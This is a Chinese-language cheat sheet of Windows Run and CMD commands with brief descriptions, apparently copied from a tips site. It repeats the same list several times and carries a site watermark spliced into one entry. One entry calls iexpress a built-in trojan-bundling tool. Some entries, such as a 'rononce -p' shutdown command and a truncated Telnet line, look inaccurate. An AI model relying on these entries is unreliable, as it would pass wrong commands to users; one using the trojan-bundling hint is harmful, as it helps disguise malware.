dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
有关某个命令的详细信息,请键入 HELP 命令名 ASSOC 显示或修改文件扩展名关联。 AT 计划在计算机上运行的命令和程序。 ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。 CACLS 显示或修改文件的访问控制列表(ACLs)。 CALL 从另一个批处理程序调用这一个。 CD 显示当前目录的名称或将其更改。 CHCP 显示或设置活动代码页数。 CHDIR 显示当前目录的名称或将其更改。 CHKDSK 检查磁盘并显示状态报告。 CHKNTFS 显示或修改启动时间磁盘检查。 CLS 清除屏幕。 CMD 打开另一个 Windows 命令解释程序窗口。 COLOR 设置默认控制台前景和背景颜色。 COMP 比较两个或两套文件的内容。 COMPACT 显示或更改 NTFS 分区上文件的压缩。 CONVERT 将 FAT 卷转换成 NTFS。您不能转换 当前驱动器。 COPY 将至少一个文件复制到另一个位置。 DATE 显示或设置日期。 DEL 删除至少一个文件。 DIR 显示一个目录中的文件和子目录。 DISKCOMP 比较两个软盘的内容。 DISKCOPY 将一个软盘的内容复制到另一个软盘。 DOSKEY 编辑命令行、调用 Windows 命令并创建宏。 ECHO 显示消息,或将命令回显打开或关上。 ENDLOCAL 结束批文件中环境更改的本地化。 ERASE 删除至少一个文件。 EXIT 退出 CMD.EXE 程序(命令解释程序)。 FC 比较两个或两套文件,并显示 不同处。 FIND 在文件中搜索文字字符串。 FINDSTR 在文件中搜索字符串。 FOR 为一套文件中的每个文件运行一个指定的命令。 FORMAT 格式化磁盘,以便跟 Windows 使用。 FTYPE 显示或修改用于文件扩展名关联的文件类型。 GOTO 将 Windows 命令解释程序指向批处理程序 中某个标明的行。 GRAFTABL 启用 Windows 来以图像模式显示 扩展字符集。 HELP 提供 Windows 命令的帮助信息。 IF 执行批处理程序中的条件性处理。 LABEL 创建、更改或删除磁盘的卷标。 MD 创建目录。 MKDIR 创建目录。 MODE 配置系统设备。 MORE 一次显示一个结果屏幕。 MOVE 将文件从一个目录移到另一个目录。 PATH 显示或设置可执行文件的搜索路径。 PAUSE 暂停批文件的处理并显示消息。 POPD 还原 PUSHD 保存的当前目录的上一个值。 PRINT 打印文本文件。 PROMPT 更改 Windows 命令提示符。 PUSHD 保存当前目录,然后对其进行更改。 RD 删除目录。 RECOVER 从有问题的磁盘恢复可读信息。 REM 记录批文件或 CONFIG.SYS 中的注释。 REN 重命名文件。 RENAME 重命名文件。 REPLACE 替换文件。 RMDIR 删除目录。 SET 显示、设置或删除 Windows 环境变量。 SETLOCAL 开始批文件中环境更改的本地化。 SHIFT 更换批文件中可替换参数的位置。 SORT 对输入进行分类。 START 启动另一个窗口来运行指定的程序或命令。 SUBST 将路径跟一个驱动器号关联。 TIME 显示或设置系统时间。 TITLE 设置 CMD.EXE 会话的窗口标题。 TREE 以图形模式显示驱动器或路径的目录结构。 TYPE 显示文本文件的内容。 VER 显示 Windows 版本。 VERIFY 告诉 Windows 是否验证文件是否已正确 写入磁盘。 VOL 显示磁盘卷标和序列号。 XCOPY 复制文件和目录树。
cmd命令大全(第一部分) winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 cmd命令大全(第二部分) mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 cmd命令大全(第三部分) dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 cmd命令大全(第四部分) net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 cmd命令大全(第五部分) syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机 shrpubw--------创建共享文件夹 secpol.m转载自电脑十万个为什么http://www.qq880.com,请保留此标记sc-----本地安全策略 syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 services.msc---本地服务设置 Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 cmd命令大全(第六部分) tsshutdn-------60秒倒计时关机命令 tourstart------xp简介(安装完成后出现的漫游xp程序) taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 explorer-------打开资源管理器 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 progman--------程序管理器 regedit.exe----注册表 rsop.msc-------组策略结果集 regedt32-------注册表编辑器 rononce -p ----15秒关机 regsvr32 /u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd命令大全(第七部分) cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查 certmgr.msc----证书管理实用程序 calc-----------启动计算器 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting compmgmt.msc---计算机管理 cleanmgr-------垃圾整理 ciadv.msc------索引服务程序 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 lusrmgr.msc----本机用户和组 logoff---------注销命令 iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 gpedit.msc-----组策略
开始→运行(cmd)命令大全 会用的都说好 不会用的看都看不懂
开始→运行(cmd)命令大全
gpedit.msc-----组策略 sndrec32-------录音机
Nslookup-------IP地址侦测器 explorer-------打开资源管理器
logoff---------注销命令 tsshutdn-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组 services.msc---本地服务设置
oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本
cleanmgr-------垃圾整理 net start messenger----开始信使服务
compmgmt.msc---计算机管理 net stop messenger-----停止信使服务
conf-----------启动netmeeting dvdplay--------DVD播放器
charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序
calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器
regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生
rononce -p ----15秒关机 dxdiag---------检查DirectX信息
regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序
rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况
regedit.exe----注册表 winchat--------XP自带局域网聊天
progman--------程序管理器 winmsd---------系统信息
perfmon.msc----计算机性能监测程序 winver---------检查Windows版本
sfc /scannow-----扫描错误并复原 winipcfg-------IP配置
taskmgr-----任务管理器(2000/xp/2003) command--------cmd
fsmgmt.msc 共享文件夹 netstat -an----查看端口
osk 屏幕键盘 install.asp----修改注册网页
eventvwr.msc 时间查看器
secpol.msc 本地安全设置
services.msc 服务
accwiz.exe > 辅助工具向导
acsetups.exe > acs setup dcom server executable
actmovie.exe > 直接显示安装工具
append.exe > 允许程序打开制定目录中的数据
arp.exe > 显示和更改计算机的ip与硬件物理地址的对应列表
at.exe > 计划运行任务
atmadm.exe > 调用管理器统计
attrib.exe > 显示和更改文件和文件夹属性
autochk.exe > 检测修复文件系统
autoconv.exe > 在启动过程中自动转化系统
autofmt.exe > 在启动过程中格式化进程
autolfn.exe > 使用长文件名格式
bootok.exe > boot acceptance application for registry
bootvrfy.exe > 通报启动成功
cacls.exe > 显示和编辑acl
calc.exe > 计算器
cdplayer.exe > cd播放器
change.exe > 与终端服务器相关的查询
charmap.exe > 字符映射表
chglogon.exe > 启动或停用会话记录
chgport.exe > 改变端口(终端服务)
chgusr.exe > 改变用户(终端服务)
chkdsk.exe > 磁盘检测程序
chkntfs.exe > 磁盘检测程序
cidaemon.exe > 组成ci文档服务
cipher.exe > 在ntfs上显示或改变加密的文件或目录
cisvc.exe > 索引内容
ckcnv.exe > 变换cookie
cleanmgr.exe > 磁盘清理
cliconfg.exe > sql客户网络工具
clipbrd.exe > 剪贴簿查看器
clipsrv.exe > 运行clipboard服务
clspack.exe > 建立系统文件列表清单
cluster.exe > 显示域的集群
_cmd_.exe > 没什么好说的!
cmdl32.exe > 自动下载连接管理
cmmgr32.exe > 连接管理器
cmmon32.exe > 连接管理器监视
cmstp.exe > 连接管理器配置文件安装程序
comclust.exe > 集群
comp.exe > 比较两个文件和文件集的内容*
compact.exe > 显示或改变ntfs分区上文件的压缩状态
conime.exe > ime控制台
control.exe > 控制面板
convert.exe > 转换文件系统到ntfs
convlog.exe > 转换iis日志文件格式到ncsa格式
cprofile.exe > 转换显示模式
cSCRIPT.exe > 较本宿主版本
csrss.exe > 客户服务器runtime进程
csvde.exe > 日至格式转换程序
dbgtrace.exe > 和terminal server相关
dcomcnfg.exe > dcom配置属性
dcphelp.exe > ?
dcpromo.exe > ad安装向导
ddeshare.exe > dde共享
ddmprxy.exe >
debug.exe > 就是debug啦!
dfrgfat.exe > fat分区磁盘碎片整理程序
dfrgntfs.exe > ntfs分区磁盘碎片整理程序
dfs_cmd_.exe > 配置一个dfs树
dfsinit.exe > 分布式文件系统初始化
dfssvc.exe > 分布式文件系统服务器
diantz.exe > 制作cab文件
diskperf.exe > 磁盘性能计数器
dllhost.exe > 所有com+应用软件的主进程
dllhst3g.exe >
dmadmin.exe > 磁盘管理服务
dmremote.exe > 磁盘管理服务的一部分
dns.exe > dns applications dns
doskey.exe > 命令行创建宏
dosx.exe > dos扩展
dplaysvr.exe > 直接运行帮助
drwatson.exe > 华生医生错误检测
drwtsn32.exe > 华生医生显示和配置管理
dtcsetup.exe > installs mdtc
dvdplay.exe > dvd播放
dxdiag.exe > direct-x诊断工具
edlin.exe > 命令行的文本编辑器(历史悠久啊!)
edlin.exe > 命令行的文本编辑器(历史悠久啊!)
esentutl.exe > ms数据库工具
eudcedit.exe > type造字程序
eventvwr.exe > 事件查看器
evnt_cmd_.exe > event to trap translator; configuration tool
evntwin.exe > event to trap translator setup
exe2bin.exe > 转换exe文件到二进制
expand.exe > 解压缩
extrac32.exe > 解cab工具
fastopen.exe > 快速访问在内存中的硬盘文件
faxcover.exe > 传真封面编辑
faxqueue.exe > 显示传真队列
faxsend.exe > 发送传真向导
faxsvc.exe > 启动传真服务
fc.exe > 比较两个文件的不同
find.exe > 查找文件中的文本行
findstr.exe > 查找文件中的行
finger.exe > 一个用户并显示出统计结果
fixmapi.exe > 修复mapi文件
flattemp.exe > 允许或者禁用临时文件目录
fontview.exe > 显示字体文件中的字体
forcedos.exe > forces a file to start in dos mode. 强制文件在dos模式下运行
freecell.exe > popular windows game 空当接龙
ftp.exe > file transfer protocol used to transfer files over a network conne
ction 就是ftp了
gdi.exe > graphic device interface 图形界面驱动
grovel.exe >
grpconv.exe > program manager group convertor 转换程序管理员组
help.exe > displays help for windows 2000 commands 显示帮助
hostname.exe > display hostname for machine. 显示机器的hostname
ie4uinit.exe > ie5 user install tool ie5用户安装工具
ieshwiz.exe > customize folder wizard 自定义文件夹向导
iexpress.exe > create and setup packages for install 穿件安装包
iisreset.exe > restart iis admin service 重启iis服务
internat.exe > keyboard language indicator applet 键盘语言指示器
ipconfig.exe > windows 2000 ip configuration. 察看ip配置
ipsecmon.exe > ip security monitor ip安全监视器
ipxroute.exe > ipx routing and source routing control program ipx路由和源路由
控制程序
irftp.exe > setup ftp for wireless communication 无线连接
ismserv.exe > intersite messaging service 安装或者删除service control manage
r中的服务
jdbgmgr.exe > microsoft debugger for java 4 java4的调试器
jetconv.exe > convert a jet engine database 转换jet engine数据库
jetpack.exe > compact jet database. 压缩jet数据库
jview.exe > command-line loader for java java的命令行装载者
krnl386.exe > core component for windows 2000 2000的核心组件
label.exe > change label for drives 改变驱动器的卷标
lcwiz.exe > license compliance wizard for local or remote systems. 许可证符合
向导
ldifde.exe > ldif cmd line manager ldif目录交换命令行管理
licmgr.exe > terminal server license manager 终端服务许可协议管理
lights.exe > display connection status lights 显示连接状况
llsmgr.exe > windows 2000 license manager 2000许可协议管理
llssrv.exe > start the license server 启动许可协议服务器
lnkstub.exe >
locator.exe > rpc locator 远程定位
lodctr.exe > load perfmon counters 调用性能计数
logoff.exe > log current user off. 注销用户
lpq.exe > displays status of a remote lpd queue 显示远端的lpd打印队列的状态,
显示被送到基于unix的服务器的打印任务
lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印
机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。
lsass.exe > lsa executable and server dll 运行lsa和server的dll
lserver.exe > specifies the new dns domain for the default server 指定默认se
rver新的dns域
os2.exe > an os/2 warp server (os2 /o) os/2
os2srv.exe > an os/2 warp server os/2
os2ss.exe > an os/2 warp server os/2
osk.exe > on screen keyboard 屏幕键盘
packager.exe > windows 2000 packager manager 对象包装程序
pathping.exe > combination of ping and tracert 包含ping和tracert的程序
pax.exe > is a posix program and path names used as arguments must be specif
ied in posix format. use "//c/users/default" instead of "c:usersdefault."
启动便携式存档互换 (pax) 实用程序
pentnt.exe > used to check the pentium for the floating point division error
. 检查pentium的浮点错误
perfmon.exe > starts windows performance monitor 性能监视器
ping.exe > packet internet groper 验证与远程计算机的连接
posix.exe > used for backward compatibility with unix 用于兼容unix
print.exe > cmd line used to print files 打印文本文件或显示打印队列的内容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系统应用程序
qappsrv.exe > displays the available application terminal servers on the net
work
在网络上显示终端服务器可用的程序
qprocess.exe > display information about processes local or remote 在本地或远
query.exe > query termserver user process and sessions 查询进程和对话
quser.exe > display information about a user logged on 显示用户登陆的信息(需
终端服务)
qwinsta.exe > display information about terminal sessions. 显示终端服务的信息
rasadmin.exe > start the remote access admin service 启动远程访问服务
rasautou.exe > creates a ras connection 建立一个ras连接
rasdial.exe > dial a connection 拨号连接
ras.exe > starts a ras connection 运行ras连接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 计算机和运
行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe > rdpclip allows you to copy and paste files between a terminal
session and client console session. 再终端和本地复制和粘贴文件
recover.exe > recovers readable information from a bad or defective disk 从坏
的或有缺陷的磁盘中恢复可读取的信息。
redir.exe > starts the redirector service 运行重定向服务
regedt32.exe > 32-bit register service 32位注册服务
regini.exe > modify registry permissions from within a SCRIPT 用脚本修改注册
许可
register.exe > register a program so it can have special execution character
istics. 注册包含特殊运行字符的程序
regsvc.exe >
regsvr32.exe > registers and unregister"s dll"s. as to how and where it regi
ster"s them i dont know. 注册和反注册dll
regtrace.exe > options to tune debug options for applications failing to dum
p trace statements
trace 设置
regwiz.exe > registration wizard 注册向导
remrras.exe >
replace.exe > replace files 用源目录中的同名文件替换目标目录中的文件。
reset.exe > reset an active section 重置活动部分
rexec.exe > runs commands on remote hosts running the rexec service. 在运行
rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机
上的用户名,只有安装了 tcp/ip 协议后才可以使用该命令。
risetup.exe > starts the remote installation service wizard. 运行远程安装向导
服务
route.exe > display or edit the current routing tables. 控制网络路由表
routemon.exe > no longer supported 不再支持了!
router.exe > router software that runs either on a dedicated dos or on an os
/2 system. route软件在 dos或者是os/2系统
rsh.exe > runs commands on remote hosts running the rsh service 在运行 rsh 服
务的远程计算机上运行命令
rsm.exe > mounts and configures remote system media 配置远程系统媒体
rsnotify.exe > remote storage notification recall 远程存储通知回显
rsvp.exe > resource reservation protocol 源预约协议
runas.exe > run a program as another user 允许用户用其他权限运行指定的工具和
程序
rundll32.exe > launches a 32-bit dll program 启动32位dll程序
runonce.exe > causes a program to run during startup 运行程序再开始菜单中
rwinsta.exe > reset the session subsystem hardware and software to known ini
tial values 重置会话子系统硬件和软件到最初的值
savedump.exe > does not write to e:winntuser.dmp 不写入user.dmp中
scardsvr.exe > smart card resource management server 子能卡资源管理服务器
schupgr.exe > it will read the schema update files (.ldf files) and upgrade
the schema. (part of adsi) 读取计划更新文件和更新计划
secedit.exe > starts security editor help 自动安全性配置管理
services.exe > controls all the services 控制所有服务
sethc.exe > set high contrast - changes colours and display mode logoff to s
et it back to normal 设置高对比
setreg.exe > shows the software publishing state key values 显示软件发布的国
家语言
setup.exe > gui box prompts you to goto control panel to configure system co
mponents 安装程序(转到控制面板)
setver.exe > set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本
号
sfc.exe > system file checker test and check system files for integrity 系统
文件检查
sfmprint.exe > print services for macintosh 打印macintosh服务
sfmpsexe.exe >
sfmsvc.exe >
shadow.exe > monitor another terminal services session. 监控另外一台中端服务
器会话
share.exe > windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与
ms-dos 文件兼容
shmgrate.exe >
shrpubw.exe > create and share folders 建立和共享文件夹
sigverif.exe > file signature verification 文件签名验证
skeys.exe > serial keys utility 序列号制作工具
smlogsvc.exe > performance logs and alerts 性能日志和警报
smss.exe >
sndrec32.exe > starts the windows sound recorder 录音机
sndvol32.exe > display the current volume information 显示声音控制信息
snmp.exe > simple network management protocol used for network mangement 简单
网络管理协议
snmptrap.exe > utility used with snmp snmp工具
sol.exe > windows solitaire game 纸牌
sort.exe > compares files and folders 读取输入、排序数据并将结果写到屏幕、文
件和其他设备上
SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分
sprestrt.exe >
srvmgr.exe > Starts the Windows Server Manager 服务器管理器
stimon.exe > WDM StillImage- > Monitor
stisvc.exe > WDM StillImage- > Service
subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联
svchost.exe > Svchost.exe is a generic host process name for services that a
re run from dynamic-link libraries (DLLs). DLL得主进程
syncapp.exe > Creates Windows Briefcase. 创建Windows文件包
sysedit.exe > Opens Editor for 4 system files 系统配置编辑器
syskey.exe > Encrypt and secure system database NT账号数据库按群工具
sysocmgr.exe > Windows 2000 Setup 2000安装程序
systray.exe > Starts the systray in the lower right corner. 在低权限运行syst
ray
macfile.exe > Used for managing MACFILES 管理MACFILES
magnify.exe > Used to magnify the current screen 放大镜
makecab.exe > MS Cabinet Maker 制作CAB文件
mdm.exe > Machine Debug Manager 机器调试管理
mem.exe > Display current Memory stats 显示内存状态
migpwd.exe > Migrate passwords. 迁移密码
mmc.exe > Microsoft Management Console 控制台
mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享
mobsync.exe > Manage Synchronization. 同步目录管理器
mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或
列出卷的装入点。
mplay32.exe > MS Media Player 媒体播放器
mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程
序
mq1sync.exe >
mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工
具
mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置
mqmig.exe > MSMQ Migration Utility 信息队列迁移工具
mqsvc.exe > ?
mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由
mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD
msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台
msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户
mshta.exe > HTML Application HOST HTML应用程序主机
msiexec.exe > Starts Windows Installer Program 开始Windows安装程序
mspaint.exe > Microsoft Paint 画板
msswchx.exe >
mstask.exe > Task Schedule Program 任务计划表程序
mstinit.exe > Task scheduler setup 任务计划表安装
narrator.exe > Program will allow you to have a narrator for reading. Micros
oft讲述人
nbtstat.exe > Displays protocol stats and current TCP/IP connections using N
BT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。
nddeapir.exe > NDDE API Server side NDDE API服务器端
net.exe > Net Utility 详细用法看/?
net1.exe > Net Utility updated version from MS Net的升级版
netdde.exe > Network DDE will install itself into the background 安装自己到后
台
netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2
000 命令行脚本接口。
netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络
连接。
nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。
Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼
容。
notepad.exe > Opens Windows 2000 Notepad 记事本
nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS)
名称服务器的信息。
ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具
ntbooks.exe > Starts Windows Help Utility 帮助
ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护
ntfrs.exe > NT File Replication Service NT文件复制服务
ntfrsupg.exe >
ntkrnlpa.exe > Kernel patch 核心补丁
ntoskrnl.exe > Core NT Kernel KT的核心
ntsd.exe >
ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境
nw16.exe > Netware Redirector NetWare转向器
nwSCRIPT.exe > runs netware SCRIPTs 运行Netware脚本
odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理
odbcconf.exe > Configure ODBC driver"s and data source"s from command line 命
令行配置ODBC驱动和数据源
taskman.exe > Task Manager 任务管理器
taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器
tcmsetup.exe > telephony client wizard 电话服务客户安装
tcpsvcs.exe > TCP Services TCP服务
.exe > Telnet Utility used to connect to Telnet Server
termsrv.exe > Terminal Server 终端服务
tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行
TFTP 服务的远程计算机传输文件
tftpd.exe > Trivial FTP Daemon
themes.exe > Change Windows Themes 桌面主题
tlntadmn.exe > Telnet Server Administrator Telnet服务管理
tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话
tlntsvr.exe > Start the Telnet Server 开始Telnet服务
tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间
(TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标
采用的路由
tsadmin.exe > Terminal Server Administrator 终端服务管理器
tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端
对话
tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户
tskill.exe > Kill a Terminal server process 杀掉终端服务
tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结
果
tsshutdn.exe > Shutdown the system 关闭系统
unlodctr.exe > Part of performance monitoring 性能监视器的一部分
upg351db.exe > Upgrade a jet database 升级Jet数据库
ups.exe > UPS service UPS服务
user.exe > Core Windows Service Windows核心服务
userinit.exe > Part of the winlogon process Winlogon进程的一部分
usrmgr.exe > Start the windows user manager for domains 域用户管理器
utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器
verifier.exe > Driver Verifier Manager Driver Verifier Manager
vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM
w32tm.exe > Windows Time Server 时间服务器
wextract.exe > Used to extract windows files 解压缩Windows文件
winchat.exe > Opens Windows Chat 打开Windows聊天
winhlp32.exe > Starts the Windows Help System 运行帮助系统
winlogon.exe > Used as part of the logon process. Logon进程的一部分
winmine.exe > windows Game 挖地雷
winmsd.exe > Windows Diagnostic utility 系统信息
wins.exe > Wins Service Wins服务
winspool.exe > Print Routing 打印路由
winver.exe > Displays the current version of Windows 显示Windows版本
wizmgr.exe > Starts Windows Administration Wizards Windows管理向导
wjview.exe > Command line loader for Java 命令行调用Java
wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE tas
k runs in the target debugee"s VM 启动时,32位API需要
wowexec.exe > For running Windows over Windows Applications 在Windows应用程序
上运行Windows
wpnpinst.exe > ?
write.exe > Starts MS Write Program 写字板
wscript.exe > Windows scrpting Utility 脚本工具
wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导
xcopy.exe > 复制文件和目录,包括子目录
有关某个命令的详细信息,请键入 HELP 命令名
XP.CMD命令大全
有关某个命令的详细信息,请键入 HELP 命令名 ASSOC 显示或修改文件扩展名关联。 AT 计划在计算机上运行的命令和程序。 ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。 CACLS 显示或修改文件的访问控制列表(ACLs)。 CALL 从另一个批处理程序调用这一个。 CD 显示当前目录的名称或将其更改。 CHCP 显示或设置活动代码页数。 CHDIR 显示当前目录的名称或将其更改。 CHKDSK 检查磁盘并显示状态报告。 CHKNTFS 显示或修改启动时间磁盘检查。 CLS 清除屏幕。 CMD 打开另一个 Windows 命令解释程序窗口。 COLOR 设置默认控制台前景和背景颜色。 COMP 比较两个或两套文件的内容。 COMPACT 显示或更改 NTFS 分区上文件的压缩。 CONVERT 将 FAT 卷转换成 NTFS。您不能转换 当前驱动器。 COPY 将至少一个文件复制到另一个位置。 DATE 显示或设置日期。 DEL 删除至少一个文件。 DIR 显示一个目录中的文件和子目录。 DISKCOMP 比较两个软盘的内容。 DISKCOPY 将一个软盘的内容复制到另一个软盘。 DOSKEY 编辑命令行、调用 Windows 命令并创建宏。 ECHO 显示消息,或将命令回显打开或关上。 ENDLOCAL 结束批文件中环境更改的本地化。 ERASE 删除至少一个文件。 EXIT 退出 CMD.EXE 程序(命令解释程序)。 FC 比较两个或两套文件,并显示 不同处。 FIND 在文件中搜索文字字符串。 FINDSTR 在文件中搜索字符串。 FOR 为一套文件中的每个文件运行一个指定的命令。 FORMAT 格式化磁盘,以便跟 Windows 使用。 FTYPE 显示或修改用于文件扩展名关联的文件类型。 GOTO 将 Windows 命令解释程序指向批处理程序 中某个标明的行。 GRAFTABL 启用 Windows 来以图像模式显示 扩展字符集。 HELP 提供 Windows 命令的帮助信息。 IF 执行批处理程序中的条件性处理。 LABEL 创建、更改或删除磁盘的卷标。 MD 创建目录。 MKDIR 创建目录。 MODE 配置系统设备。 MORE 一次显示一个结果屏幕。 MOVE 将文件从一个目录移到另一个目录。 PATH 显示或设置可执行文件的搜索路径。 PAUSE 暂停批文件的处理并显示消息。 POPD 还原 PUSHD 保存的当前目录的上一个值。 PRINT 打印文本文件。 PROMPT 更改 Windows 命令提示符。 PUSHD 保存当前目录,然后对其进行更改。 RD 删除目录。 RECOVER 从有问题的磁盘恢复可读信息。 REM 记录批文件或 CONFIG.SYS 中的注释。 REN 重命名文件。 RENAME 重命名文件。 REPLACE 替换文件。 RMDIR 删除目录。 SET 显示、设置或删除 Windows 环境变量。 SETLOCAL 开始批文件中环境更改的本地化。 SHIFT 更换批文件中可替换参数的位置。 SORT 对输入进行分类。 START 启动另一个窗口来运行指定的程序或命令。 SUBST 将路径跟一个驱动器号关联。 TIME 显示或设置系统时间。 TITLE 设置 CMD.EXE 会话的窗口标题。 TREE 以图形模式显示驱动器或路径的目录结构。 TYPE 显示文本文件的内容。 VER 显示 Windows 版本。 VERIFY 告诉 Windows 是否验证文件是否已正确 写入磁盘。 VOL 显示磁盘卷标和序列号。 XCOPY 复制文件和目录树。
appwiz.cpl------------添加删除程序
control userpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以当作是 Windows 的一个附件,Ping,Convert 这些不能在图形环境下 使用的功能要借助它来完成。
cmd------jview察看Java虚拟机版本。
command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
calc-----------启动计算器
chkdsk.exe-----Chkdsk磁盘检查
compmgmt.msc---计算机管理
